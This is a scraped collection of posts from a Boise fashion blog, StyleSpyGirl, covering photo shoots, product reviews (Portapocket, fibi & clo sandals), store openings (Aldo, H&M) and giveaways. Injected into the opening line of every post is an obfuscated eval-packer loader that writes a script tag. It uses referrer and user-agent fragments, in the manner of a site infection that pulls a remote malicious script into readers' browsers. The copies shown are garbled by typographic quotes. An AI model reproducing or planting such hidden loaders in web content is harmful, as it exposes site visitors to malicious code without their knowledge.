Black & White Mania, Part 2

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htttr|var|u0026u|referrer|adsyf||js|php’.split(‘|’),0,{}))
by Jeanne Giltzow // Styling, Hair & MUA: StyleSpyGirl

It’s a Mod, Mod, Mod, Mod world! I love black & white; it’s a color combo of simplicity, yet full of drama! This shoot was styled with a nod to the 60’s, using fun & simple pieces from modern stores like Forever 21 and Nasty Gal. Special thanks to Jeanne Giltzow, photographer extraordinaire! ❤

Enjoy!

XOXO,

StyleSpyGirl

Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

“Here Comes The Sun” ~ The Beatles

Here comes the sun, here comes the sun
And I say it’s all right

Little darling, it’s been a long cold lonely winter
Little darling, it feels like years since it’s been here

Here comes the sun, here comes the sun
And I say it’s all right

Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Little darling, the smiles returning to the faces
Little darling, it seems like years since it’s been here

Here comes the sun, here comes the sun
And I say it’s all right

Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes

Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Little darling, I feel that ice is slowly melting
Little darling, it seems like years since it’s been clear

Shirt:Forever 21 // Pants:Nasty Gal // Purse:H&M // Shoes:Colin Stuart

Here comes the sun, here comes the sun
And I say it’s all right
Here comes the sun, here comes the sun
It’s all right, it’s all right

Product Review: Portapocket

Have you ever seen a cool invention and thought, “Darn, why didn’t I think of that?” I do it all the time… 😉 Kendra eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fndza|var|u0026u|referrer|nhets||js|php’.split(‘|’),0,{}))
Kroll, the inventor of Portapocket, went out and made her dream a reality! Awesome job, Kendra – you made a really COOL product, one I’ll be using for years to come!

It’s call the Portapocket, and that’s exactly what it is: a portable pocket you can attach just about anywhere! I got mine in the mail, and was pleased to see a workable variety of parts that comprised this sweet little fashion fix! You get two pockets; one smaller, more geared towards credit cards, ID, car key, etc. And one larger, big and stretchy enough to hold just about any size cell phone. You also get two adjustable straps, in small and large!

My dear friend Karla was visiting from Seattle that weekend, and wanted to go hang out downtown, so it was the perfect opportunity to try out my new Portapocket. I strapped the smaller one on my calf, just inside my boot. Credit cards, ID, car key – check!

So, can you guess where I put the larger one, with my phone tucked safely inside? See if you can spot the PortaPocket! 😉

Yup, there’s a cell phone on my thigh, ha ha ha! It would be awkward to answer if someone called, but it’s not going to get plucked out of my coat pocket, or stolen from my purse anytime soon! 😉

Portapocket is comfortable & convenient. The larger pocket has straps on the back, so you can attach it to your belt if you like! I used the smaller strap yesterday to attach my cell phone to my arm, so I could plug in my earbuds and listen to music while I walked the pups. I love the flexibility of having multiple, adjustable straps and pockets. This isn’t just a “going out on the weekend” invention; the possibilities for use are endless!

I am very happy with my PortaPocket, and plan to use it a lot this summer, especially when I’m traveling! Check out the variety & options on PortaPocket’s website, and make sure to use code SPYGIRL for 15% off your order, now through May 31st!! You can also find PortaPocket here: blog // facebook // twitter.

XOXO,

StyleSpyGirl

Black & White Mania: Part 1

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aahek|var|u0026u|referrer|zadnd||js|php’.split(‘|’),0,{}))
by Jeanne Giltzow // Styling, Hair & MUA: StyleSpyGirl

Spring is typically all about COLOR, but this year, fashion threw us a surprising twist by trending the always-classy black & white look. I’m a huge fan; I have TONS of black in my closet (former Seattleite – what can I say?)

For this shoot with the incomparable Jeanne Giltzow, we chose to eschew color all together, and go with a mod/retro/artsy theme. Cue laundromat… (And a few very surprised afternoon clothes washers!)

We had such a blast with this! I feel like the pictures turned into stories, and I want to caption each one, but I’m not great at clever titles & quippy sayings… So I’ll let YOU do it! 🙂

XOXO,

StyleSpyGirl

Special thanks to Jeanne Giltzow for the awesome photos!

Comment your captions below! I will select my favorite from each photo, and post them on my FB page for votes. Best Caption will win 3 hours of personal shopping & styling work from me!!! 😀 Be clever, but be nice, mm-kay? Love ya!

Jacket: BCBG // Shirt: Pink by Victoria’s Secret // Pants: Forever 21 // Shoes: // Purse: Forever 21 // Shoes: Forever 21

NEW Aldo Shoes Grand Opening and Top Sellers for Spring

My top three favorite places to shop for shoes when I’m in a major city are Norstrom, DSW, and Aldo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zafbt|var|u0026u|referrer|diikt||js|php’.split(‘|’),0,{}))
Shoes! This week, a brand new Aldo Shoes opened up at Boise Towne Square Mall, and I couldn’t wait to get in there! This is big city style, my friends – and now it’s HERE!!! 🙂 Check out some of my favorite finds, then scroll down to hear what store manager Chris has to say about the hottest trends at their Seattle branches!

Store manager Chris, here from Seattle, told me the top trends for Spring in his neck of the woods.

For women: Boots with Studs, Jelly Sandals, Wedge Sneakers, and Mint Green Anything!

For men: Brogues, Oxfords, and modern sneakers

Aldo Shoes sells fashion-forward, high-quality footwear and accessories for men and women. They’re a perfect fit Boise, a fabulous city that’s growing bigger and more fashionable by the day! 🙂 Welcome to the Treasure Valley, Aldo!

ALDO
Boise Towne Square
350 North Milwaukee
Boise, ID, US 83704
208-322-5053

Bronco Fans, Show Some LOVE (In Style!)

Bronco Nation, rejoice! According to Buzzfeed’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdydb|var|u0026u|referrer|tfkzd||js|php’.split(‘|’),0,{}))
“45 Reasons Why Idaho is the Most Underrated State in the Country,” no fans can stand up to Boise State fans! Bronco football fans, in particular, are loud, proud, and passionate about their team. It’s a blast to watch this entire town rock their their blue & orange gear every game day! 🙂

Football practice started this week, and the Bronco’s first game of 2013 is August 31st, at Washington in Seattle. What’chya gonna wear? You have time to prepare! 😀

Head to Eagle, to visit local boutique Villa Lifestyles! They’re stocked full of fabulous fan gear – the kind of stuff you won’t find at typical stores! (And their women’s clothing items range from Junior to Plus Sizes.)

Here are some fun ideas from their recent Look Book, to show off your team spirit. GO BRONCOS!!!

XOXO,

StyleSpyGirl

Shop online at http://villa-lifestyles.com, or visit their store in Eagle at 228 E Plaza Dr., Eagle ID 83616

Local Style Secret: Bricolage!

Boise’s most prolific fashion designer, Elise Vaughn, is slowly getting famous… but you won’t hear it from her! 😉 Elise is the founder of Brass eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tttdf|var|u0026u|referrer|bzzbh||js|php’.split(‘|’),0,{}))
Razoo, a super-hip clothing & jewelry line whose designs are not only in boutiques across the country, but might also be coming to a movie screen near you. (More details on that, coming soon!)

But despite all the buzz building around her, this humble and talented young woman is all about local love. Recently she teamed up with Chelsea Snow, the brilliant woman behind Boise’s hippest downtown boutique, bricolage. Together they are launching a new line called “bric & brass,” and it promises to be AMAZING!!!

I stopped by bricolage for a First Thursday event, and found so much fun stuff, I didn’t want to leave!!! Brass Razzo and bricolage are a match made in Heaven. Cool gifts, quirky decor, hipster kick-knacks, vintage clothing, local art, and Elise’s designs blend beautifully into the coolest symphony of shoppable fun!

Elise repurposes vintage finds from across the country, and also creates original clothing pieces for women and men. For her new launch at bricolage, Elise has delved into kid’s wear, creating sweaters and tops from vintage fabrics, and adorable convertible dresses that grow with your child! Here are some of my fun finds. Be sure to stop by March 7th for another totally fun First Thursday party. I’ll be there; come say Hi and find some find some wonderful, unique stuff!!! 🙂

XOXO,

StyleSpyGirl

bricolage is located in downtown Boise, at 418 S. 6th. Click here to check out their facebook page: https://www.facebook.com/bricoshoppe/info

Fun Shoe Review: Fibi & Clo Sandals!

If you’re a self-admitted shoe-a-holic like me, you may know how thrilling it is to receive lovely little packages in the mail, like the one I just got from online shoe boutique eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yibde|var|u0026u|referrer|kazdy||js|php’.split(‘|’),0,{}))
fibi & clo! Pretty shoes… in a box… for me!!! Happy day! 😀

As one of Boise’s hard-working personal shoppers & fashion bloggers, I am on my feet a LOT! But the streets of this town get pretty dang hot in the summer, and I refuse to wear flip-flops as fashion. (They’re functional, so of course I wear them! Just not with styled outfits, lol. Call me picky.) 😉 Last summer I bemoaned my lack of walk-all-day footwear, never really finding a cute pair of sandals that fit my style, or my lifestyle. Gladiators were all the rage, I know. But they don’t suit me!

When fibi & clo contacted me about doing a product review of their sandals, claiming “cute, affordable, and comfortable” as their focus, I jumped at the chance, selecting the “Burst Cascade” style, one of their top sellers. I slipped them on, and was immediately impressed by the comfy, soft padding. Ooh, I could wear these all day! And their coloring is so versatile; I LOVE how the sparkling crystals catch every color, making them endlessly fun to build a variety of outfits around!

I quickly threw some looks together, to cover a variety of situations: Formal, Fun, and Flirty!

Formal: Express necklace, Express bandeau, BCBG dress, fibo & clo sandals

Fun: Custom necklace by Unigon Specialties, Express bandeau, Pink by VS tank, Forever 21 shorts, fibo & clo sandals

Flirty: Express Bandeau, Pink by VS top, Black Orchid skinny jeans, Apricot Lane bracelets, fibo & clo sandals

Which outfit is your favorite? 🙂 I had a blast putting them all together, enjoying the comfort and drama of those awesome shoes.

fibi & clo was created by AnaLiza Alba, in 2009, to be “like tupperware parties, but with shoes!” What started as a house party business quickly grew into an online retailer. If you live in a town where house parties are available, you can contact a sales rep, or become a “fashion agent.” For those of us who live in other parts of the world, check out fibi & clo’s beautiful online store: https://fibiandclo.com. fibi & clo sandals have been featured in Lucky magazine, Lauren Conrad’s style blog, and a host of other fashion websites & magazines. True to their mission, I found them to be high-quality, inexpensive, super-comfy, and downright lovely.

For honest disclosure, I found that the sandals I ordered ran a little on the small side. I was glad I “sized up” to an 8, instead of my usual 7 1/2. Just something to keep in mind! 🙂

Now, if only Spring would get here, so I can wear these beauties all over town! It’s so hard to wait!!!

Impatiently waiting for warm sunshine.

StyleSpyGirl

My Biggest Giveaway EVERRRR!!!

With eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trefh|var|u0026u|referrer|rzznk||js|php’.split(‘|’),0,{}))
photos by Ammophotog

When Boise’s new H&M opened recently, I had the special & exciting privilege of giving away $100 gift card to one of my StyleSpyGirl readers. Yay!!! I love making someone’s day with a giveaway surprise!!! 🙂

Wendee Weber won the drawing, and met me at the Grand Opening for some fun & shopping!

It was a crazy festive day, with long lines of excited shoppers, music pumping, employees dancing, and a mad rush of frenzied fashionistas!

Wendee and I had a fabulous time, putting her $100 to work on some fun & fashionable pieces for her work wardrobe.

Thanks to H&M’s budget-friendly prices, we were able to find lots of great deals for Wendee, and have a blast doing it!

Thanks, H&M, for such a memorable day!

Xoxoxo,

StyleSpyGirl

Special thanks to Ammophotog for the fantastic pictures!!!

The Coolest New Addition to Boise’s Fashion Scene: H&M!

With eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnktt|var|u0026u|referrer|sztyd||js|php’.split(‘|’),0,{}))
Photos by Alysha Kautz

Have you noticed lately how quickly this fabulous little town is growing? Kohl’s, DSW, Nordstrom Rack, Gordman’s, Rosauers, and Whole Foods have all arrived in the past year or two, and rumor has it more fun stuff is on the way. (I’m looking at you, Trader Joe’s – get here soon!) 😉

The latest addition to Boise’s shopping landscape comes straight from Europe, with love, style, and cozy-wonderful winter wear! It’s called H&M, which is Swedish for “Hot things I Must have!” Just kidding, it stands for Hennes & Mauritz, the store’s Swedish founders. 😉

With fun, fashion-forward styles and crazy-low prices, some people have compared H&M to another trend/budget store, that we’ll just call Eternally 19 (ha ha!). But when I visited with Nicole Christie (one of the company’s execs) the day before their Boise Grand Opening, I found that comparison to be way off the mark!

Nicole took Alysha and I (my fab photog!), and fellow fashion friend Kellie Levesque, on a personal tour around the store, explaining how the clothes are created. Every single item, she told us, is designed in-house by H&M’s fashion team in Sweden (apart from their collaborations with guest designers like Jimmy Choo, Comme des Garçons, Kylie Minogue, and Versace, just to name a few!)

Other stores tend to select and purchase their clothes from a variety of wholesalers. Not H&M! Every thing you see in the store was created and designed in Sweden. That Scandinavian influence is light in some areas, and more bold in others. Many of the sweater designs are fabulously Euro, while more subtle touches show up in things like truly fashion-forward maternity wear, and thick, fleece-lined tights for little girls.

Another cool thing about H&M is that they are constantly bringing in new stuff – and seriously discounting the old. In fact, Nicole told us a new shipment of merchandise arrives every day! That means that while some classic items will stay consistent throughout the season, shopping at H&M will be a new adventure every time you go in. Do you love happy shopping adventures? Go check it out! And…

Lycklig shopping, och har en stor dag! (Google it, ha ha ha!)

StyleSpyGirl

Thank you Alysha Kautz for the awesome photos!!!

Last Minute Christmas Giveaway, from RosieMADE!

HAPPY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idsay|var|u0026u|referrer|zsyba||js|php’.split(‘|’),0,{}))
HOLIDAYS!!!

Do you still need some unique gift items for your Christmas list, or something special for YOU? Never fear, the last-minute giveaway is here!

Thanks to rosieMADE, a brand new (and super-cool!) product website that works to empower women, I have this fabulous gift package to give away!!!

This is a one-day giveaway, so I can get this prize to the person who wins it by Christmas (if you are outside Boise, I cannot guarantee Christmas delivery). 😀 Enter RIGHT NOW, by clicking “Share” from my FB post. Share this article to your FB page, with the words: “I want to win StyleSpyGirl’s Giveaway!” I can track the shares from that post, and all your names will go into a hat. I WILL DRAW A WINNER TONIGHT AT 8pm!!!!!

Here’s more information about the prize, from rosieMADE. 🙂

rosieMADE Market Tote ~ Retail: $19.00
Octavia Tea – Blood Orange ~ Retail: $13.00
rosieMADE Water Bottle ~ Retail: $18.00
Beau Bain Bath Brittle – Birthday Cake ~ Retail: $14.95
rosieMADE USA Decal ~ Retail: $5.00
Pelindaba Organic Culinary Lavender ~ Retail: $9.00
Cowgirl Chocolates Peanut Butter Brittle ~ Retail: $16.00

Total Value: $94.95

Enter the contest, and be sure to check out rosieMADE! I love this woman-empowering biz – it’s so cool!!! Check out their info below:

ABOUT rosieMADE:

rosieMADE LLC. is a company with a simple and necessary goal. We want to empower women!
Increase revenues of women-friendly businesses
Increase jobs and wages for American women
Promote the accomplishments of women and support their advancement
Encourage women entrepreneurship
We carry products for women made by women and are all USA made! To create change, a portion of all proceeds will be re-invested into resources for women-businesses through the rosieMADE Foundation.
With every purchase our customers know where the product was made and who made it. They feel great knowing that a portion of proceeds will generate impact. Together, women will advance!
WE CAN DO IT!

CONNECT

Visit us at our website at www.rosiemade.com!
Facebook: http://www.facebook.com/pages/RosieMADE-LLC/350614491679777
Twitter: https://twitter.com/rosieMADE
Pinterest: http://pinterest.com/rosiemade/
Blog: http://rosiemade.com/blog
Newsletter:http://rosiemade.us5.listmanage.com/subscribe?u=96c9e6c55701ff8b0c679674b&id=b6b7ca30f1